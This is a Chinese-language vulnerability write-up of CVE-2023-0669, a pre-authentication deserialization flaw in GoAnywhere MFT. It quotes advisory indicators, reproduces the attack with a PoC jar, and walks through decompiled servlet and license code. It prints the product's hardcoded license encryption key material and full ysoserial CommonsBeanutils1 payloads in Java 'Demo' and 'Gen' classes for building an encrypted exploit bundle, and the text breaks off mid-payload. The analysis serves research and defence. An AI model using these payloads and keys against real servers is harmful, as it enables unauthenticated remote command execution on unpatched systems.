CVE-2023-0669 GoAnywhere MFT 反序列化

警告
本文最后更新于 2023-07-07,文中内容可能已过时。

官方安装文档

Goanywhere 中未经身份验证的 RCE

yosef0x01/CVE-2023-0669-Analysis (github.com)

Fortra(原HelpSystems)GoAnywhere MFT由于反序列化一个任意攻击者控制的对象,在 License Response Servlet 中存在一个预先认证的命令注入漏洞。该问题已在 7.1.2 版本中得到修补。

7.1.2 之前,不包括 7.1.2。

在官方的安全通告里面2023 年 2 月 1 日正式放出关于争对 CVE-2023-0669 的漏洞指南,我们来参考一下。

通告中说查看 userdata/logs 日志中是否有以下字符串:

  • Errors containing the text “BundleWorker.unbundle”
  • Errors containing the text “/goanywhere/lic/accept”
  • Errors containing the text “Error parsing license”

第一个看起来是一个类的位置,第二个应该是 URI 的位置,第三个应该是异常处理输出的信息。

image-20230331142216974

图片:被攻击的日志确实存在以上三个字符串

在进一步检查的步骤中官方给出了这条信息,应该指的是被攻击日志中可能包含的信息。

image-20230331142525251

图片:日志中存在 CommonsBeanutils 利用链的类

其中补救指导也有不少信息,它要求无法更新补丁的用户删除掉 web.xml 内的名为 LicenseResponseServletservlet 的内容。

image-20230331143132731

图片:LicenseResponseServletservletmapping 被推荐注释掉(删除掉)

在通告中我们可以大概了解到,这个漏洞可能是一个 CB1 的反序列化漏洞,而且相关的是一个名为 LicenseResponseServlet,对应 URI 是 /goanywhere/lic/accept,其他相关类是 BundleWorker.unbundle

环境如下:

  • Ubuntu 20.04

  • GoAnywhere 7.0.3

我们直接以一个非 Root 用户运行安装脚本,按照引导一步步安装。

端口配置部分会有端口占用提示,自定义一下端口号即可。

image-20230331103533964

安装完成有基本的提示。

image-20230331103328479

访问本地 URL 之后需要我们注册一个账号去申请一个免费的许可。使用匿名邮箱注册一个账号可以获取到7天的许可。点击“激活”即可自动激活了。之后创建新用户之后即可进入控制台。

image-20230331105959355

image-20230331110011623

使用 PoC 复现:

java -jar CVE-2023-0669.jar -p http://192.168.47.1:8888 -t http://192.168.47.179:8000/ -c "touch /tmp/success_CVE-2023-0669"

image-20230331140320035

图片:使用 PoC 复现成功

可能会因为网络问题无法复现,多尝试几次即可。

在分析之前需要准备调试的环境,第一步就是把应用目录下的所有 jar 文件全部提取出来。

执行下面这行命令即可将当前文件夹下的所有 jar 文件复制到目标目录。

find ./ -name *.jar -exec cp {} /home/ubuntu/Desktop/GoAnywhere_jar \;

image-20230331145308821

图片:此版本一共有291个 jar 文件

我们使用 cfr 反编译所有的 jar,以方便我们查找我们需要查找的几个字符串。

使用 cfr 反编译所有 jar 文件:

java -jar .\cfr-0.152.jar E:\Vuln\IDEA_Project\GoAnywhere7_0_3_jar\* --outputdir E:\Vuln\IDEA_Project\GoAnywhere7_0_3_jar_decompile

反编译需要较多内存和时间,在反编译的时候,我随便查看了以下 jar 文件中是否有关键的字符串。

grep -rn "BundleWorker"

image-20230331153306668

搜索出来的应该都是两个类。

根据上面查找到的两个类,我们先分析 Servlet,也就是 LicenseResponseServlet。

com.linoma.ga.ui.admin.servlet.LicenseResponseServlet

public class LicenseResponseServlet extends HttpServlet {
    private static final long serialVersionUID = -441307309120983773L;
    private static final Logger LOGGER = LoggerFactory.getLogger(LicenseResponseServlet.class);

    public void doPost(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse) throws ServletException, IOException {
        String string = httpServletRequest.getParameter("bundle");
        Response response = null;
        try {
            response = LicenseAPI.getResponse((String)string);
        }
        catch (Exception exception) {
            LOGGER.error("Error parsing license response", (Throwable)exception);  < =-=-=-=-=-=  
            httpServletResponse.sendError(500);
        }
        httpServletRequest.getSession().setAttribute("LicenseResponse", (Object)response);
        httpServletRequest.getSession().setAttribute("goToOutcome", (Object)"license");
        String string2 = httpServletRequest.getScheme() + "://" + httpServletRequest.getServerName() + ":" + httpServletRequest.getServerPort() + "/goanywhere" + "/admin/License.xhtml";
        httpServletResponse.sendRedirect(string2);
    }

    public void doGet(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse) throws ServletException, IOException {
        this.doPost(httpServletRequest, httpServletResponse);
    }
}

一眼就看出来这就是一个 Tomcat 的 Servlet。看到报错处理的那行 Error parsing license response,就是公告中提到的字符串之一。传入的 bundle 经过 LicenseAPI.getResponse() 方法处理之后才会出现上面的异常。在这里查看这个 getResponse 方法。

com.linoma.license.gen2.LicenseController#getResponse

protected static Response getResponse(String base64) throws BundleException, JAXBException {
	String version = LicenseController.getVersion(base64);
	String xml = BundleWorker.unbundle(base64, LicenseController.getProductKeyConfig(version));  < =-=-=-=-=-=  
	return (Response)LicenseController.inflate(xml, Response.class);
}

看到了 公告中提到的另外的一个字符串,BundleWorker.unbundle。目前为止可以知道,现在的分析路径是没有问题的。

com.linoma.license.gen2.BundleWorker#unbundle

protected static String unbundle(String base64, KeyConfig keyConfig) throws BundleException {
        try {
            if (!"1".equals(keyConfig.getVersion())) {
                base64 = base64.substring(0, base64.indexOf("$"));
            }
            byte[] data = BundleWorker.decode(base64.getBytes(CHARSET));
            data = BundleWorker.decrypt(data, keyConfig.getVersion());
            data = BundleWorker.verify(data, keyConfig);  < =-=-=-=-=-=  
            return new String(BundleWorker.decompress(data), CHARSET);
        }
        catch ( ...Exception e) {
            throw new BundleException(e.getMessage(), e);
            ...
        }
    }

com.linoma.license.gen2.BundleWorker#verify

private static byte[] verify(byte[] data, KeyConfig keyConfig) throws IOException, ClassNotFoundException, NoSuchAlgorithmException, InvalidKeyException, SignatureException, UnrecoverableKeyException, CertificateException, KeyStoreException {
        try (ObjectInputStream in = null;){
            Signature signature;
            String algorithm = "SHA1withDSA";
            if ("2".equals(keyConfig.getVersion())) {
                algorithm = "SHA512withRSA";
            }
            PublicKey verificationKey = BundleWorker.getPublicKey(keyConfig);
            in = new ObjectInputStream(new ByteArrayInputStream(data));
            SignedObject signedLicense = (SignedObject)in.readObject();  < =-=-=-=-=-=  
            boolean verified = signedLicense.verify(verificationKey, signature = Signature.getInstance(algorithm));
            if (!verified) {
                throw new IOException("Unable to verify signature!");
            }
            SignedContainer sc = (SignedContainer)signedLicense.getObject();
            byte[] byArray = sc.getData();
            return byArray;
        }
    }

看到经典的反序列化 readObject 方法了。

yso 中写了CB1 的包的版本:

commons-beanutils:1.9.2
commons-collections:3.1
commons-logging:1.2

GoAnywhere 中的版本是:

commons-beanutils-1.9.4.jar
commons-collections-3.2.2.jar
commons-collections4-4.1.jar
commons-logging-1.1.1-521.jar
commons-logging-1.2.jar  < =-=-=-=-=-=  

对于 CB1 这个反序列化来说 jar 版本对上了 commons-logging-1.2.jar。接下来写个 Demo来确认一下。据上面的分析可知漏洞点在com.linoma.license.gen2.BundleWorker#verify

import com.linoma.commons.file.FileUtilities;
import com.linoma.commons.io.IOUtils;
import com.linoma.license.gen2.BundleException;
import com.linoma.license.gen2.KeyConfig;
import com.linoma.license.gen2.LicenseController;
import org.apache.commons.ssl.Base64;

import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.security.SignedObject;

public class Demo {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        try {
            //1 com.linoma.license.gen2.BundleWorker#verify
            //        java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "calc" |base64
            String CB1 = "rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBh\n" +
                    "cmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9u\n" +
                    "cy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwA\n" +
                    "CHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNv\n" +
                    "bGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQA\n" +
                    "EG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVy\n" +
                    "bmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkA\n" +
                    "Dl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5n\n" +
                    "L0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJv\n" +
                    "cGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOAC\n" +
                    "AAB4cAAABprK/rq+AAAAMgA5CgADACIHADcHACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEA\n" +
                    "DUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJl\n" +
                    "clRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQB\n" +
                    "AAxJbm5lckNsYXNzZXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJh\n" +
                    "bnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2lu\n" +
                    "dGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFs\n" +
                    "aXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2Fw\n" +
                    "YWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3Jn\n" +
                    "L2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApF\n" +
                    "eGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMv\n" +
                    "RE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7\n" +
                    "TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9u\n" +
                    "SGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwv\n" +
                    "ZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwv\n" +
                    "aW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAM\n" +
                    "R2FkZ2V0cy5qYXZhDAAKAAsHACgBADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0\n" +
                    "dWJUcmFuc2xldFBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNs\n" +
                    "dGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAUamF2YS9pby9TZXJpYWxpemFibGUBADljb20v\n" +
                    "c3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAB95\n" +
                    "c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVu\n" +
                    "dGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQAE\n" +
                    "Y2FsYwgAMAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsM\n" +
                    "ADIAMwoAKwA0AQANU3RhY2tNYXBUYWJsZQEAHnlzb3NlcmlhbC9Qd25lcjQzNTEzNDMyMjMxMjU2\n" +
                    "MQEAIEx5c29zZXJpYWwvUHduZXI0MzUxMzQzMjIzMTI1NjE7ACEAAgADAAEABAABABoABQAGAAEA\n" +
                    "BwAAAAIACAAEAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAALgAOAAAA\n" +
                    "DAABAAAABQAPADgAAAABABMAFAACAAwAAAA/AAAAAwAAAAGxAAAAAgANAAAABgABAAAAMwAOAAAA\n" +
                    "IAADAAAAAQAPADgAAAAAAAEAFQAWAAEAAAABABcAGAACABkAAAAEAAEAGgABABMAGwACAAwAAABJ\n" +
                    "AAAABAAAAAGxAAAAAgANAAAABgABAAAANwAOAAAAKgAEAAAAAQAPADgAAAAAAAEAFQAWAAEAAAAB\n" +
                    "ABwAHQACAAAAAQAeAB8AAwAZAAAABAABABoACAApAAsAAQAMAAAAJAADAAIAAAAPpwADAUy4AC8S\n" +
                    "MbYANVexAAAAAQA2AAAAAwABAwACACAAAAACACEAEQAAAAoAAQACACMAEAAJdXEAfgAQAAAB1Mr+\n" +
                    "ur4AAAAyABsKAAMAFQcAFwcAGAcAGQEAEHNlcmlhbFZlcnNpb25VSUQBAAFKAQANQ29uc3RhbnRW\n" +
                    "YWx1ZQVx5mnuPG1HGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJM\n" +
                    "b2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQADRm9vAQAMSW5uZXJDbGFzc2VzAQAlTHlzb3Nlcmlh\n" +
                    "bC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEM\n" +
                    "AAoACwcAGgEAI3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vAQAQamF2YS9sYW5n\n" +
                    "L09iamVjdAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwv\n" +
                    "R2FkZ2V0cwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgAAQABAAoACwABAAwAAAAvAAEAAQAA\n" +
                    "AAUqtwABsQAAAAIADQAAAAYAAQAAADsADgAAAAwAAQAAAAUADwASAAAAAgATAAAAAgAUABEAAAAK\n" +
                    "AAEAAgAWABAACXB0AARQd25ycHcBAHhxAH4ADXg=";
            byte[] payloadByte = Base64.decodeBase64(CB1);
            ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(payloadByte));
            in.readObject();
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

在项目中弹出计算器说明 jar 中有反序列化漏洞。后面我们需要去看如何反射调用 GoAnywhere 中的方法去做反序列化命令执行。

com.linoma.license.gen2.BundleWorker#verify 在使用ObjectInputStream进行对象反序列化时,没有对输入流进行过滤或者校验,可能导致攻击者注入恶意对象从而执行任意代码。

/adminroot/WEB-INF/web.xml 中已经有了 Servlet 和 URI 的对应关系:

<servlet-mapping>
                <servlet-name>License Response Servlet</servlet-name>
                <url-pattern>/lic/accept</url-pattern>
        </servlet-mapping>

我们直接访问这个路径 /goanywhere/lic/accept,无论是否登陆管理员账户,在 /GoAnywhere/tomcat/logs 里面都有一条相同的报错

Apr 02, 2023 7:34:58 PM org.apache.catalina.core.StandardWrapperValve invoke
SEVERE: Servlet.service() for servlet [License Response Servlet] in context with path [/goanywhere] threw exception
java.lang.IllegalStateException: Cannot call sendRedirect() after the response has been committed
        at org.apache.catalina.connector.ResponseFacade.sendRedirect(ResponseFacade.java:488)
        at com.linoma.ga.ui.admin.servlet.LicenseResponseServlet.doPost(LicenseResponseServlet.java:70)
        at com.linoma.ga.ui.admin.servlet.LicenseResponseServlet.doGet(LicenseResponseServlet.java:78)
        at javax.servlet.http.HttpServlet.service(HttpServlet.java:655)
        at javax.servlet.http.HttpServlet.service(HttpServlet.java:764)
        at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:227)
        at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
        at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53)
        at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)
        at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
        at com.linoma.dpa.security.SecurityFilter.doFilter(SecurityFilter.java:292)
        at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)
        at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
        at com.linoma.dpa.security.SecurityHeaderFilter.doFilter(SecurityHeaderFilter.java:115)
        at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)
        at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
        at com.linoma.ga.ui.core.filter.IFrameEmbeddingFilter.doFilter(IFrameEmbeddingFilter.java:95)
        at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)
        at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
        at com.linoma.ga.ui.core.filter.NoCacheFilter.doFilter(NoCacheFilter.java:49)
        at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)
        at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
        at com.linoma.ga.ui.core.filter.IECompatibilityModeFilter.doFilter(IECompatibilityModeFilter.java:63)
        at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)
        at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
        at com.linoma.dpa.j2ee.AdminRedirectFilter.doFilter(AdminRedirectFilter.java:52)
        at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)
        at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
        at com.linoma.ga.ui.core.filter.XForwardedForFilter.doFilter(XForwardedForFilter.java:60)
        at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)
        at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
        at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:197)
        at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:97)
        at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:542)
        at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:135)
        at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:92)
        at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:78)
        at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:357)
        at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:382)
        at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65)
        at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:893)
        at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1726)
        at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
        at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1191)
        at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
        at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
        at java.lang.Thread.run(Thread.java:748)

可以直接看到这个调用链了,一直到 LicenseResponseServlet.doPost。也就是说 URI 对应的 Servlet 是 LicenseResponseServlet。但是 URI 为什么是/goanywhere/lic/accept 而不是 /lic/accept

image-20230403115940579

分析上面这个问题之前,我们还没有对之前反编译出来的 java 文件查找,一查就找到了。

$ grep -rn "/goanywhere" |grep "/lic/accept"
GoAnywhere7_0_3_jar_decompile/com/linoma/ga/core/license/ProductLicenseController.java:575:        String string3 = string + "/goanywhere" + "/lic/accept";

显示在 ProductLicenseController.java 文件中有相关的内容。

com.linoma.ga.core.license.ProductLicenseController#mapRelay

private static RelayXMLType mapRelay(String string, String string2) {
        RelayXMLType relayXMLType = new RelayXMLType();
        String string3 = string + "/goanywhere" + "/lic/accept";
        String string4 = string + "/goanywhere" + string2;
        relayXMLType.setProcess(string3);
        relayXMLType.setCancel(string4);
        return relayXMLType;
    }

这里似乎是一个 mapping 的中继,恰好是公告中的 URI。

com.linoma.license.gen2.BundleWorker#encrypt

private static byte[] encrypt(byte[] bytes, String version) throws CryptoException {
    LicenseEncryptor e = LicenseEncryptor.getInstance();
    return e.encrypt(bytes, version);
}

com.linoma.license.gen2.LicenseEncryptor

package com.linoma.license.gen2;

import com.linoma.commons.crypto.CryptoException;
import com.linoma.commons.crypto.Encryptor;
import com.linoma.commons.crypto.StandardEncryptionEngine;
import java.security.spec.KeySpec;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.PBEKeySpec;

public class LicenseEncryptor {
    public static final String VERSION_1 = "1";
    public static final String VERSION_2 = "2";
    private static final byte[] IV = new byte[]{65, 69, 83, 47, 67, 66, 67, 47, 80, 75, 67, 83, 53, 80, 97, 100};
    private static final String KEY_ALGORITHM = "AES";
    private static final String CIPHER_ALGORITHM = "AES/CBC/PKCS5Padding";
    private boolean initialized;
    private Encryptor encryptor;
    private Encryptor encryptorV2;

    private LicenseEncryptor() {
        this.initialized = false;
        this.encryptor = null;
        this.encryptorV2 = null;
    }

    public static LicenseEncryptor getInstance() {
        return LicenseEncryptor.LicenseEncryptorHolder.INSTANCE;
    }
// 加密方法
    public byte[] encrypt(byte[] value, String version) throws CryptoException {
        if (!this.initialized) {
            throw new IllegalStateException("The AESEncryptor has not been initialized");
        } else if ("1".equals(version)) {
            if (this.encryptor == null) {
                throw new CryptoException("License Encryptor version 1 not available in FIPS mode.");
            } else {
                return this.encryptor.encryptFromBytes(value);
            }
        } else {
            return this.encryptorV2.encryptFromBytes(value);
        }
    }

    public byte[] decrypt(byte[] encrypted, String version) throws CryptoException {
        if (!this.initialized) {
            throw new IllegalStateException("The License Encryptor has not been initialized");
        } else if ("1".equals(version)) {
            if (this.encryptor == null) {
                throw new CryptoException("License Encryptor version 1 not available in FIPS mode.");
            } else {
                return this.encryptor.decryptToBytes(encrypted);
            }
        } else {
            return this.encryptorV2.decryptToBytes(encrypted);
        }
    }
// 初始化 LicenseEncryptor 的 this.encryptor
    public void initialize(boolean fipsMode) throws Exception {
        if (!fipsMode) {
            this.encryptor = new Encryptor(new StandardEncryptionEngine(this.getInitializationValue(), IV, "AES", "AES/CBC/PKCS5Padding"));
        }

        this.encryptorV2 = new Encryptor(new StandardEncryptionEngine(this.getInitializationValueV2(), IV, "AES", "AES/CBC/PKCS5Padding"));
        this.initialized = true;
    }
// 
    private byte[] getInitializationValue() throws Exception {
        byte[] param1 = new byte[]{103, 111, 64, 110, 121, 119, 104, 101, 114, 101, 76, 105, 99, 101, 110, 115, 101, 80, 64, 36, 36, 119, 114, 100};
        byte[] param2 = new byte[]{-19, 45, -32, -73, 65, 123, -7, 85};
        int param3 = 9535;
        int param4 = 256;
        SecretKeyFactory factory = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1");
        KeySpec spec = new PBEKeySpec((new String(param1, "UTF-8")).toCharArray(), param2, param3, param4);
        SecretKey tmp = factory.generateSecret(spec);
        return tmp.getEncoded();
    }

    private byte[] getInitializationValueV2() throws Exception {
        byte[] param1 = new byte[]{112, 70, 82, 103, 114, 79, 77, 104, 97, 117, 117, 115, 89, 50, 90, 68, 83, 104, 84, 115, 113, 113, 50, 111, 90, 88, 75, 116, 111, 87, 55, 82};
        byte[] param2 = new byte[]{99, 76, 71, 87, 49, 74, 119, 83, 109, 112, 50, 75, 104, 107, 56, 73};
        int param3 = 3392;
        int param4 = 256;
        SecretKeyFactory factory = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1");
        KeySpec spec = new PBEKeySpec((new String(param1, "UTF-8")).toCharArray(), param2, param3, param4);
        SecretKey tmp = factory.generateSecret(spec);
        return tmp.getEncoded();
    }

    private static class LicenseEncryptorHolder {
        public static final LicenseEncryptor INSTANCE = new LicenseEncryptor();

        private LicenseEncryptorHolder() {
        }
    }
}

com.linoma.commons.crypto.Encryptor#decryptToBytes

public byte[] decryptToBytes(byte[] encryptedBytes) throws CryptoException {
    return this.engine.decrypt(encryptedBytes);
}

最后加密返回的地方

com.linoma.commons.crypto.StandardEncryptionEngine#encrypt

public byte[] encrypt(byte[] bytes) throws CryptoException {
    synchronized(this.encryptionCipher) {
        byte[] var10000;
        try {
            var10000 = this.encryptionCipher.doFinal(bytes);
        } catch (Throwable var5) {
            throw new CryptoException(var5.getMessage(), var5);
        }

        return var10000;
    }
}

加密完成之后使用一次 Base64 编码。

image-20230404100112707

import com.linoma.commons.crypto.StandardEncryptionEngine;
import org.apache.commons.ssl.Base64;

import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.PBEKeySpec;
import java.io.UnsupportedEncodingException;
import java.lang.reflect.Constructor;
import java.security.spec.KeySpec;


public class Gen {
    public static void main(String[] args) throws ClassNotFoundException {
        try{
            //        java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "touch /tmp/success" |base64
            String CB1 = "rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABqjK/rq+AAAAMgA5CgADACIHADcHACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAxJbm5lckNsYXNzZXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHACgBADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFB